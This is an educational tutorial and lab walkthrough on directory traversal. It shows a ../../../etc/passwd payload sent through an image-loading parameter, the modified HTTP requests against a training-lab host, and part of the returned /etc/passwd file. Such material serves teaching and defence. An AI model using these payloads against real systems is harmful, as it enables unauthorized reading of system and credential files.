Directory Traversal

Directory traversal also known as file path traversal is a web vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files.

Reading arbitrary files via directory traversal

Consider a shopping application that displays images of items for sale.

Images are loaded via some HTML like the following:

<img src="/loadImage?filename=69.png">

The loadImage URL takes a filename parameter and returns the contents of the specified file.

The image files themselves are stored on disk in the location /var/www/images/

To return an image, the application appends the requested filename to this base directory and uses a filesystem API to read the contents of the file. In the above case, the application reads from the following file path:

/var/www/images/218.png

The application implements no defenses against directory traversal attacks, so an attacker can request the following URL to retrieve an arbitrary file from the server's filesystem:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

This causes the application to read from the following file path:

/var/www/images/../../../etc/passwd

The sequence ../ is valid within a file path, and means to step up one level in the directory structure. The three consecutive ../ sequences step up from /var/www/images/ to the filesystem root, and so the file that is actually read is:

/etc/passwd

---

LAB 0x00: File path traversal, simple case

This lab contains a file traversal vulnerability in the display of product images. retrieve the contents of the /etc/passwd file.

Solution

Use Burp Suite to intercept and modify a request that fetches a product image.

GET /image?filename=25.jpg HTTP/1.1
Host: 0adb00b7037ef3e9c21f3ff600e20047.web-security-academy.net

Modify the filename parameter, giving it the value: ../../../etc/passwd

GET /image?filename=../../../../etc/passwd HTTP/1.1
Host: 0adb00b7037ef3e9c21f3ff600e20047.web-security-academy.net

Observe that the response contains the contents of the /etc/passwd file.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin